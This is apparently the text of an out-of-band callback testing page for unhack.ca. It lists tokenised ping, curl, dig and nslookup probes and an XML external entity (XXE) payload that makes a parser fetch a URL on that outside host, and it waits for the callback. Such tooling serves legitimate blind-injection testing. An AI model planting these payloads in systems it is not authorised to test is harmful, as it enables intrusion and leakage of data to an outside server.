$ ping -c1 -p 00891d5651da34e0cf1bfb788bf80800 unhack.ca
 
$ curl http://unhack.ca/p/891d5651da34e0cf1bfb788bf808
 
$ dig 891d5651da34e0cf1bfb788bf808 @unhack.ca
 
$ dig 891d5651da34e0cf1bfb788bf808.ns.unhack.ca
 
C:\> nslookup 891d5651da34e0cf1bfb788bf808 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/891d5651da34e0cf1bfb788bf808">]>
    <foo>&xxe;</foo>
Waiting for ping...